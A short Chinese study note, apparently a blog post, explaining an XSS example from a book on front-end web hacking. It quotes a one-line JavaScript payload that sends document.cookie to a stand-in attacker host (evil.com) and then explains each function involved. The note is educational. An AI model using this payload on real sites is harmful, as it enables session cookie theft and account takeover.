前言

web前端黑客技术揭秘的1.2中有这么个例子:

eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')

原文说:

当被攻击者被诱骗访问了该链接时, Cookies 会话信息就会被盗取到黑客的网站上,一 般情况下,黑客利用该 Cookies 可以登录被攻击者的账号,并进行越权操作。由此可以看 到,攻击的发生是因为注入了一段恶意的指令, 并且该指令能被执行

来具体分析下这句代码。

理解

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

new Image() 创建一个图像对象,src指图像来源的url(?后面是get方式传递的值)

escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。

document.cookie 会在一条字符串中返回所有 cookie

因此这些联合起来,就会将用户的cookie值通过get方式提交到黑客的网站上。


参考:
web前端黑客技术揭秘笔记(一) - qq_40676758的博客 - CSDN博客